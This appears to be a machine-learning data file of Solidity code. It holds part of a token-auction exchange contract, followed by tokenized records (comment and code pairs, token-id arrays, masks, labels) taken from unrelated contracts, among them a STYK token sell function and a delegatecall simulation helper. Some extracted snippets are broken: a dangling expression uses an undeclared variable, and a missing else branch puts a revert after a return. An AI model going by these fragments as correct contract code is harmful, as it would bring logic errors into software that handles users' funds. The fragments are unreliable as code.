sellVolumesNext[buyToken][sellToken]; // Update state variables for both auctions sellVolumesCurrent[sellToken][buyToken] = sellVolumeNext; if (sellVolumeNext > 0) { sellVolumesNext[sellToken][buyToken] = 0; } if (buyVolume > 0) { buyVolumes[sellToken][buyToken] = 0; } sellVolumesCurrent[buyToken][sellToken] = sellVolumeNextOpp; if (sellVolumeNextOpp > 0) { sellVolumesNext[buyToken][sellToken] = 0; } if (buyVolumeOpp > 0) { buyVolumes[buyToken][sellToken] = 0; } // Increment auction index setAuctionIndex(sellToken, buyToken); // Check if next auction can be scheduled scheduleNextAuction(sellToken, buyToken); } AuctionCleared(sellToken, buyToken, sellVolume, buyVolume, auctionIndex); } function scheduleNextAuction( address sellToken, address buyToken ) internal { // Check if auctions received enough sell orders uint ethUSDPrice = ethUSDOracle.getUSDETHPrice(); uint sellNum; uint sellDen; (sellNum, sellDen) = getPriceOfTokenInLastAuction(sellToken); uint buyNum; uint buyDen; (buyNum, buyDen) = getPriceOfTokenInLastAuction(buyToken); // We use current sell volume, because in clearAuction() we set // sellVolumesCurrent = sellVolumesNext before calling this function // (this is so that we don&#39;t need case work, // since it might also be called from postSellOrder()) // < 10^30 * 10^31 * 10^6 = 10^67 uint sellVolume = mul(mul(sellVolumesCurrent[sellToken][buyToken], sellNum), ethUSDPrice) / sellDen; uint sellVolumeOpp = mul(mul(sellVolumesCurrent[buyToken][sellToken], buyNum), ethUSDPrice) / buyDen; if (sellVolume >= thresholdNewAuction || sellVolumeOpp >= thresholdNewAuction) { // Schedule next auction setAuctionStart(sellToken, buyToken, WAITING_PERIOD_NEW_AUCTION); } else { resetAuctionStart(sellToken, buyToken); } } //@ dev returns price in units [token2]/[token1] //@ param token1 first token for price calculation //@ param token2 second token for price calculation //@ param auctionIndex index for the auction to get the averaged price from function getPriceInPastAuction( address token1, address token2, uint auctionIndex ) public view // price < 10^31 returns (uint num, uint den) { if (token1 == token2) { // C1 num = 1; den = 1; } else { // C2 // R2.1 require(auctionIndex >= 0); // C3 // R3.1 require(auctionIndex <= getAuctionIndex(token1, token2)); // auction still running uint i = 0; bool correctPair = false; fraction memory closingPriceToken1; fraction memory closingPriceToken2; while (!correctPair) { closingPriceToken2 = closingPrices[token2][token1][auctionIndex - i]; closingPriceToken1 = closingPrices[token1][token2][auctionIndex - i]; if (closingPriceToken1.num > 0 && closingPriceToken1.den > 0 || closingPriceToken2.num > 0 && closingPriceToken2.den > 0) { correctPair = true; } i++; } // At this point at least one closing price is strictly positive // If only one is positive, we want to output that if (closingPriceToken1.num == 0 || closingPriceToken1.den == 0) { num = closingPriceToken2.den; den = closingPriceToken2.num; } else if (closingPriceToken2.num == 0 || closingPriceToken2.den == 0) { num = closingPriceToken1.num; den = closingPriceToken1.den; } else { // If both prices are positive, output weighted average num = closingPriceToken2.den + closingPriceToken1.num; den = closingPriceToken2.num + closingPriceToken1.den; } } } /// @dev Gives best estimate for market price of a token in ETH of any price oracle on the Ethereum network /// @param token address of ERC-20 token /// @return Weighted average of closing prices of opposite Token-ethToken auctions, based on their sellVolume function getPriceOfTokenInLastAuction( address token ) public view // price < 10^31 returns (uint num, uint den) { uint latestAuctionIndex = getAuctionIndex(token, ethToken); // getPriceInPastAuction < 10^30 (num, den) = getPriceInPastAuction(token, ethToken, latestAuctionIndex - 1); } function getCurrentAuctionPrice( address sellToken, address buyToken, uint auctionIndex ) public view // price < 10^37 returns (uint num, uint den) { fraction memory closingPrice = closingPrices[sellToken][buyToken][auctionIndex]; if (closingPrice.den != 0) { // Auction has closed (num, den) = (closingPrice.num, closingPrice.den); } else if (auctionIndex > getAuctionIndex(sellToken, buyToken)) { (num, den) = (0, 0); } else { // Auction is running uint pastNum; uint pastDen; (pastNum, pastDen) = getPriceInPastAuction(sellToken, buyToken, auctionIndex - 1); // If we&#39;re calling the function into an unstarted auction, // it will return the starting price of that auction uint timeElapsed = atleastZero(int(now - getAuctionStart(sellToken, buyToken))); // The numbers below are chosen such that // P(0 hrs) = 2 * lastClosingPrice, P(6 hrs) = lastClosingPrice, P(>=24 hrs) = 0 // 10^5 * 10^31 = 10^36 num = atleastZero(int((86400 - timeElapsed) * pastNum)); // 10^6 * 10^31 = 10^37 den = mul((timeElapsed + 43200), pastDen); if (mul(num, sellVolumesCurrent[sellToken][buyToken]) <= mul(den, buyVolumes[sellToken][buyToken])) { num = buyVolumes[sellToken][buyToken]; den = sellVolumesCurrent[sellToken][buyToken]; } } } function depositAndSell( address sellToken, address buyToken, uint amount ) external returns (uint newBal, uint auctionIndex, uint newSellerBal) { newBal = deposit(sellToken, amount); (auctionIndex, newSellerBal) = postSellOrder(sellToken, buyToken, 0, amount); } function claimAndWithdraw( address sellToken, address buyToken, address user, uint auctionIndex, uint amount ) external returns (uint returned, uint frtsIssued, uint newBal) { (returned, frtsIssued) = claimSellerFunds(sellToken, buyToken, user, auctionIndex); newBal = withdraw(buyToken, amount); } // > Helper fns function getTokenOrder( address token1, address token2 ) public pure returns (address, address) { if (token2 < token1) { (token1, token2) = (token2, token1); } return (token1, token2); } function setAuctionStart( address token1, address token2, uint value ) internal { (token1, token2) = getTokenOrder(token1, token2); uint auctionStart = now + value; uint auctionIndex = latestAuctionIndices[token1][token2]; auctionStarts[token1][token2] = auctionStart; AuctionStartScheduled(token1, token2, auctionIndex, auctionStart); } function resetAuctionStart( address token1, address token2 ) internal { (token1, token2) = getTokenOrder(token1, token2); if (auctionStarts[token1][token2] != AUCTION_START_WAITING_FOR_FUNDING) { auctionStarts[token1][token2] = AUCTION_START_WAITING_FOR_FUNDING; } } function getAuctionStart( address token1, address token2 ) public view returns (uint auctionStart) { (token1, token2) = getTokenOrder(token1, token2); auctionStart = auctionStarts[token1][token2]; } function setAuctionIndex( address token1, address token2 ) internal { (token1, token2) = getTokenOrder(token1, token2); latestAuctionIndices[token1][token2] += 1; } function getAuctionIndex( address token1, address token2 ) public view returns (uint auctionIndex) { (token1, token2) = getTokenOrder(token1, token2); auctionIndex = latestAuctionIndices[token1][token2]; } // > Math fns function min(uint a, uint b) public pure returns (uint) { if (a < b) { return a; } else { return b; } } function atleastZero(int a) public pure returns (uint) { if (a < 0) { return 0; } else { return uint(a); } } /// @dev Returns whether an add operation causes an overflow /// @param a First addend /// @param b Second addend /// @return Did no overflow occur? function safeToAdd(uint a, uint b) public pure returns (bool) { return a + b >= a; } /// @dev Returns whether a subtraction operation causes an underflow /// @param a Minuend /// @param b Subtrahend /// @return Did no underflow occur? function safeToSub(uint a, uint b) public pure returns (bool) { return a >= b; } /// @dev Returns whether a multiply operation causes an overflow /// @param a First factor /// @param b Second factor /// @return Did no overflow occur? function safeToMul(uint a, uint b) public pure returns (bool) { return b == 0 || a * b / b == a; } /// @dev Returns sum if no overflow occurred /// @param a First addend /// @param b Second addend /// @return Sum function add(uint a, uint b) public pure returns (uint) { require(safeToAdd(a, b)); return a + b; } /// @dev Returns difference if no overflow occurred /// @param a Minuend /// @param b Subtrahend /// @return Difference function sub(uint a, uint b) public pure returns (uint) { require(safeToSub(a, b)); return a - b; } /// @dev Returns product if no overflow occurred /// @param a First factor /// @param b Second factor /// @return Product function mul(uint a, uint b) public pure returns (uint) { require(safeToMul(a, b)); return a * b; } function getRunningTokenPairs( address[] tokens ) external view returns (address[] tokens1, address[] tokens2) { uint arrayLength; for (uint k = 0; k < tokens.length - 1; k++) { for (uint l = k + 1; l < tokens.length; l++) { if (getAuctionIndex(tokens[k], tokens[l]) > 0) { arrayLength++; } } } tokens1 = new address[](arrayLength); tokens2 = new address[](arrayLength); uint h; for (uint i = 0; i < tokens.length - 1; i++) { for (uint j = i + 1; j < tokens.length; j++) { if (getAuctionIndex(tokens[i], tokens[j]) > 0) { tokens1[h] = tokens[i]; tokens2[h] = tokens[j]; h++; } } } } //@dev for quick overview of possible sellerBalances to calculate the possible withdraw tokens //@param auctionSellToken is the sellToken defining an auctionPair //@param auctionBuyToken is the buyToken defining an auctionPair //@param user is the user who wants to his tokens //@param lastNAuctions how many auctions will be checked. 0 means all //@returns returns sellbal for all indices for all tokenpairs function getIndicesWithClaimableTokensForSellers( address auctionSellToken, address auctionBuyToken, address user, uint lastNAuctions ) external view returns(uint[] indices, uint[] usersBalances) { uint runningAuctionIndex = getAuctionIndex(auctionSellToken, auctionBuyToken); uint arrayLength; uint startingIndex = lastNAuctions == 0 ? 1 : runningAuctionIndex - lastNAuctions + 1; for (uint j = startingIndex; j <= runningAuctionIndex; j++) { if (sellerBalances[auctionSellToken][auctionBuyToken][j][user] > 0) { arrayLength++; } } indices = new uint[](arrayLength); usersBalances = new uint[](arrayLength); uint k; for (uint i = startingIndex; i <= runningAuctionIndex; i++) { if (sellerBalances[auctionSellToken][auctionBuyToken][i][user] > 0) { indices[k] = i; usersBalances[k] = sellerBalances[auctionSellToken][auctionBuyToken][i][user]; k++; } } } //@dev for quick overview of current sellerBalances for a user //@param auctionSellTokens are the sellTokens defining an auctionPair //@param auctionBuyTokens are the buyTokens defining an auctionPair //@param user is the user who wants to his tokens function getSellerBalancesOfCurrentAuctions( address[] auctionSellTokens, address[] auctionBuyTokens, address user ) external view returns (uint[]) { uint length = auctionSellTokens.length; uint length2 = auctionBuyTokens.length; require(length == length2); uint[] memory sellersBalances = new uint[](length); for (uint i = 0; i < length; i++) { uint runningAuctionIndex = getAuctionIndex(auctionSellTokens[i], auctionBuyTokens[i]); sellersBalances[i] = sellerBalances[auctionSellTokens[i]][auctionBuyTokens[i]][runningAuctionIndex][user]; } return sellersBalances; } //@dev for quick overview of possible buyerBalances to calculate the possible withdraw tokens //@param auctionSellToken is the sellToken defining an auctionPair //@param auctionBuyToken is the buyToken defining an auctionPair //@param user is the user who wants to his tokens //@param lastNAuctions how many auctions will be checked. 0 means all //@returns returns sellbal for all indices for all tokenpairs function getIndicesWithClaimableTokensForBuyers( address auctionSellToken, address auctionBuyToken, address user, uint lastNAuctions ) external view returns(uint[] indices, uint[] usersBalances) { uint runningAuctionIndex = getAuctionIndex(auctionSellToken, auctionBuyToken); uint arrayLength; uint startingIndex = lastNAuctions == 0 ? 1 : runningAuctionIndex - lastNAuctions + 1; for (uint j = startingIndex; j <= runningAuctionIndex; j++) { if (buyerBalances[auctionSellToken][auctionBuyToken][j][user] > 0) { arrayLength++; } } indices = new uint[](arrayLength); usersBalances = new uint[](arrayLength); uint k; for (uint i = startingIndex; i <= runningAuctionIndex; i++) { if (buyerBalances[auctionSellToken][auctionBuyToken][i][user] > 0) { indices[k] = i; usersBalances[k] = buyerBalances[auctionSellToken][auctionBuyToken][i][user]; k++; } } } //@dev for quick overview of current sellerBalances for a user //@param auctionSellTokens are the sellTokens defining an auctionPair //@param auctionBuyTokens are the buyTokens defining an auctionPair //@param user is the user who wants to his tokens function getBuyerBalancesOfCurrentAuctions( address[] auctionSellTokens, address[] auctionBuyTokens, address user ) external view returns (uint[]) { uint length = auctionSellTokens.length; uint length2 = auctionBuyTokens.length; require(length == length2); uint[] memory buyersBalances = new uint[](length); for (uint i = 0; i < length; i++) { uint runningAuctionIndex = getAuctionIndex(auctionSellTokens[i], auctionBuyTokens[i]); buyersBalances[i] = buyerBalances[auctionSellTokens[i]][auctionBuyTokens[i]][runningAuctionIndex][user]; } return buyersBalances; } //@dev for quick overview of approved Tokens //@param addressesToCheck are the ERC-20 token addresses to be checked whether they are approved function getApprovedAddressesOfList( address[] addressToCheck ) external view returns (bool[]) { uint length = addressToCheck.length; bool[] memory isApproved = new bool[](length); for (uint i = 0; i < length; i++) { isApproved[i] = approvedTokens[addressToCheck[i]]; } return isApproved; } //@dev for multiple withdraws //@param auctionSellTokens are the sellTokens defining an auctionPair //@param auctionBuyTokens are the buyTokens defining an auctionPair //@param auctionIndices are the auction indices on which an token should be claimedAmounts //@param user is the user who wants to his tokens function claimTokensFromSeveralAuctionsAsSeller( address[] auctionSellTokens, address[] auctionBuyTokens, uint[] auctionIndices, address user ) external { uint length = auctionSellTokens.length; uint length2 = auctionBuyTokens.length; require(length == length2); uint length3 = auctionIndices.length; require(length2 == length3); for (uint i = 0; i < length; i++) claimSellerFunds(auctionSellTokens[i], auctionBuyTokens[i], user, auctionIndices[i]); } //@dev for multiple withdraws //@param auctionSellTokens are the sellTokens defining an auctionPair //@param auctionBuyTokens are the buyTokens defining an auctionPair //@param auctionIndices are the auction indices on which an token should be claimedAmounts //@param user is the user who wants to his tokens function claimTokensFromSeveralAuctionsAsBuyer( address[] auctionSellTokens, address[] auctionBuyTokens, uint[] auctionIndices, address user ) external { uint length = auctionSellTokens.length; uint length2 = auctionBuyTokens.length; require(length == length2); uint length3 = auctionIndices.length; require(length2 == length3); for (uint i = 0; i < length; i++) claimBuyerFunds(auctionSellTokens[i], auctionBuyTokens[i], user, auctionIndices[i]); } function getMasterCopy() external view returns (address) { return masterCopy; } // > Events event NewDeposit( address indexed token, uint amount ); event NewOracleProposal( PriceOracleInterface priceOracleInterface ); event NewMasterCopyProposal( address newMasterCopy ); event NewWithdrawal( address indexed token, uint amount ); event NewSellOrder( address indexed sellToken, address indexed buyToken, address indexed user, uint auctionIndex, uint amount ); event NewBuyOrder( address indexed sellToken, address indexed buyToken, address indexed user, uint auctionIndex, uint amount ); event NewSellerFundsClaim( address indexed sellToken, address indexed buyToken, address indexed user, uint auctionIndex, uint amount, uint frtsIssued ); event NewBuyerFundsClaim( address indexed sellToken, address indexed buyToken, address indexed user, uint auctionIndex, uint amount, uint frtsIssued ); event NewTokenPair( address indexed sellToken, address indexed buyToken ); event AuctionCleared( address indexed sellToken, address indexed buyToken, uint sellVolume, uint buyVolume, uint indexed auctionIndex ); event Approval( address indexed token, bool approved ); event AuctionStartScheduled( address indexed sellToken, address indexed buyToken, uint indexed auctionIndex, uint auctionStart ); event Fee( address indexed primaryToken, address indexed secondarToken, address indexed user, uint auctionIndex, uint fee ); }
@dev for quick overview of current sellerBalances for a user@param auctionSellTokens are the sellTokens defining an auctionPair@param auctionBuyTokens are the buyTokens defining an auctionPair@param user is the user who wants to his tokens
function getSellerBalancesOfCurrentAuctions( address[] auctionSellTokens, address[] auctionBuyTokens, address user ) external view returns (uint[]) { uint length = auctionSellTokens.length; uint length2 = auctionBuyTokens.length; require(length == length2); uint[] memory sellersBalances = new uint[](length); for (uint i = 0; i < length; i++) { uint runningAuctionIndex = getAuctionIndex(auctionSellTokens[i], auctionBuyTokens[i]); sellersBalances[i] = sellerBalances[auctionSellTokens[i]][auctionBuyTokens[i]][runningAuctionIndex][user]; } return sellersBalances; }
7,683,290
[ 1, 1884, 9549, 18471, 434, 783, 29804, 38, 26488, 364, 279, 729, 279, 4062, 55, 1165, 5157, 854, 326, 357, 80, 5157, 9364, 392, 279, 4062, 4154, 279, 4062, 38, 9835, 5157, 854, 326, 30143, 5157, 9364, 392, 279, 4062, 4154, 729, 353, 326, 729, 10354, 14805, 358, 18423, 2430, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 8880, 749, 38, 26488, 951, 3935, 37, 4062, 87, 12, 203, 3639, 1758, 8526, 279, 4062, 55, 1165, 5157, 16, 203, 3639, 1758, 8526, 279, 4062, 38, 9835, 5157, 16, 203, 3639, 1758, 729, 203, 565, 262, 203, 3639, 3903, 203, 3639, 1476, 203, 3639, 1135, 261, 11890, 63, 5717, 203, 565, 288, 203, 3639, 2254, 769, 273, 279, 4062, 55, 1165, 5157, 18, 2469, 31, 203, 3639, 2254, 769, 22, 273, 279, 4062, 38, 9835, 5157, 18, 2469, 31, 203, 3639, 2583, 12, 2469, 422, 769, 22, 1769, 203, 203, 3639, 2254, 8526, 3778, 357, 3135, 38, 26488, 273, 394, 2254, 8526, 12, 2469, 1769, 203, 203, 3639, 364, 261, 11890, 277, 273, 374, 31, 277, 411, 769, 31, 277, 27245, 288, 203, 5411, 2254, 3549, 37, 4062, 1016, 273, 4506, 4062, 1016, 12, 69, 4062, 55, 1165, 5157, 63, 77, 6487, 279, 4062, 38, 9835, 5157, 63, 77, 19226, 203, 5411, 357, 3135, 38, 26488, 63, 77, 65, 273, 29804, 38, 26488, 63, 69, 4062, 55, 1165, 5157, 63, 77, 65, 6362, 69, 4062, 38, 9835, 5157, 63, 77, 65, 6362, 8704, 37, 4062, 1016, 6362, 1355, 15533, 203, 3639, 289, 203, 203, 3639, 327, 357, 3135, 38, 26488, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/42/0xD6CEA200229320B87D5c6A645ceCF29AD8e73AF6/sources/STYK_I.sol
* Liquifies tokens to ethereum./ dividing by zero is a bad idea update the amount of dividends per token
function sell(uint256 _amountOfTokens) public onlybelievers() { address _customerAddress = msg.sender; require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); uint256 _tokens = _amountOfTokens; uint256 _ethereum = tokensToEthereum_(_tokens); uint256 _dividends = safeDiv(_ethereum, dividendFee_); uint256 _taxedEthereum = safeSub(_ethereum, _dividends); if (balanceOf(_customerAddress) == _amountOfTokens) { if (earlyadopters[_customerAddress]) { earlyadopterBonus[_customerAddress] = earlyAdopterBonus( _customerAddress ); } if ( rewardQualifier[_customerAddress] && _calculateInfaltionMinutes() > 4320 ) { stykbonus[_customerAddress] = STYKRewards(_customerAddress); } } tokenBalanceLedger_[_customerAddress] = safeSub( tokenBalanceLedger_[_customerAddress], _tokens ); (int256)(profitPerShare_ * _tokens + (_taxedEthereum * magnitude)); payoutsTo_[_customerAddress] -= _updatedPayouts; if (tokenSupply_ > 0) { profitPerShare_ = safeAdd( profitPerShare_, (_dividends * magnitude) / tokenSupply_ ); } setInflationTime(); if (_calculateMonthlyRewards(_customerAddress) > 0) { monthlyRewards[_customerAddress][ getMonth(now) ] = _calculateMonthlyRewards(_customerAddress); } }
8,889,070
[ 1, 48, 18988, 5032, 2430, 358, 13750, 822, 379, 18, 19, 3739, 10415, 635, 3634, 353, 279, 5570, 21463, 1089, 326, 3844, 434, 3739, 350, 5839, 1534, 1147, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 357, 80, 12, 11890, 5034, 389, 8949, 951, 5157, 13, 1071, 1338, 13285, 1385, 2496, 1435, 288, 203, 3639, 1758, 389, 10061, 1887, 273, 1234, 18, 15330, 31, 203, 203, 3639, 2583, 24899, 8949, 951, 5157, 1648, 1147, 13937, 28731, 67, 63, 67, 10061, 1887, 19226, 203, 203, 3639, 2254, 5034, 389, 7860, 273, 389, 8949, 951, 5157, 31, 203, 3639, 2254, 5034, 389, 546, 822, 379, 273, 2430, 774, 41, 18664, 379, 67, 24899, 7860, 1769, 203, 3639, 2254, 5034, 389, 2892, 350, 5839, 273, 4183, 7244, 24899, 546, 822, 379, 16, 31945, 14667, 67, 1769, 203, 3639, 2254, 5034, 389, 8066, 329, 41, 18664, 379, 273, 4183, 1676, 24899, 546, 822, 379, 16, 389, 2892, 350, 5839, 1769, 203, 203, 3639, 309, 261, 12296, 951, 24899, 10061, 1887, 13, 422, 389, 8949, 951, 5157, 13, 288, 203, 5411, 309, 261, 2091, 715, 361, 3838, 414, 63, 67, 10061, 1887, 5717, 288, 203, 7734, 11646, 361, 3838, 264, 38, 22889, 63, 67, 10061, 1887, 65, 273, 11646, 1871, 3838, 264, 38, 22889, 12, 203, 10792, 389, 10061, 1887, 203, 7734, 11272, 203, 5411, 289, 203, 5411, 309, 261, 203, 7734, 19890, 16185, 63, 67, 10061, 1887, 65, 597, 203, 7734, 389, 11162, 13149, 2390, 285, 13050, 1435, 405, 1059, 31273, 203, 5411, 262, 288, 203, 7734, 16253, 8899, 22889, 63, 67, 10061, 1887, 65, 273, 2347, 61, 47, 17631, 14727, 24899, 10061, 1887, 1769, 203, 5411, 289, 203, 3639, 289, 203, 203, 3639, 1147, 13937, 28731, 67, 63, 67, 10061, 1887, 2 ]
./full_match/4/0x9E7Ae8Bdba9AA346739792d219a808884996Db67/sources/src/contracts/mixins/StorageAccessible.sol
* @dev Performs a delegetecall on a targetContract in the context of self. Internally reverts execution to avoid side effects (making it static). Catches revert and returns encoded result as bytes. @param targetContract Address of the contract containing the code to execute. @param calldataPayload Calldata that should be sent to the target contract (encoded method name and arguments)./ solhint-disable-next-line avoid-low-level-calls
function simulateDelegatecall( address targetContract, bytes memory calldataPayload ) public returns (bytes memory response) { bytes memory innerCall = abi.encodeWithSelector( this.simulateDelegatecallInternal.selector, targetContract, calldataPayload ); (, response) = address(this).call(innerCall); bool innerSuccess = response[response.length - 1] == 0x01; setLength(response, response.length - 1); if (innerSuccess) { return response; revertWith(response); } }
769,312
[ 1, 9409, 279, 1464, 73, 588, 557, 454, 603, 279, 1018, 8924, 316, 326, 819, 434, 365, 18, 31048, 1230, 15226, 87, 4588, 358, 4543, 4889, 16605, 261, 19718, 518, 760, 2934, 21984, 281, 15226, 471, 1135, 3749, 563, 487, 1731, 18, 225, 1018, 8924, 5267, 434, 326, 6835, 4191, 326, 981, 358, 1836, 18, 225, 745, 892, 6110, 3049, 892, 716, 1410, 506, 3271, 358, 326, 1018, 6835, 261, 10787, 707, 508, 471, 1775, 2934, 19, 3704, 11317, 17, 8394, 17, 4285, 17, 1369, 4543, 17, 821, 17, 2815, 17, 12550, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 20089, 9586, 1991, 12, 203, 3639, 1758, 1018, 8924, 16, 203, 3639, 1731, 3778, 745, 892, 6110, 203, 565, 262, 1071, 1135, 261, 3890, 3778, 766, 13, 288, 203, 3639, 1731, 3778, 3443, 1477, 273, 203, 5411, 24126, 18, 3015, 1190, 4320, 12, 203, 7734, 333, 18, 9812, 6243, 9586, 1991, 3061, 18, 9663, 16, 203, 7734, 1018, 8924, 16, 203, 7734, 745, 892, 6110, 203, 5411, 11272, 203, 3639, 261, 16, 766, 13, 273, 1758, 12, 2211, 2934, 1991, 12, 7872, 1477, 1769, 203, 3639, 1426, 3443, 4510, 273, 766, 63, 2740, 18, 2469, 300, 404, 65, 422, 374, 92, 1611, 31, 203, 3639, 15683, 12, 2740, 16, 766, 18, 2469, 300, 404, 1769, 203, 3639, 309, 261, 7872, 4510, 13, 288, 203, 5411, 327, 766, 31, 203, 5411, 15226, 1190, 12, 2740, 1769, 203, 3639, 289, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/5/0xdc61edA80d5e41c0281e76F2444F3D772B5b0bE3/sources/project_/contracts/FtmDAIProxy.sol
transfer project fee
uint pfee = amount * PROJECT_FEE / PERCENTS_DIVIDER;
7,073,880
[ 1, 13866, 1984, 14036, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
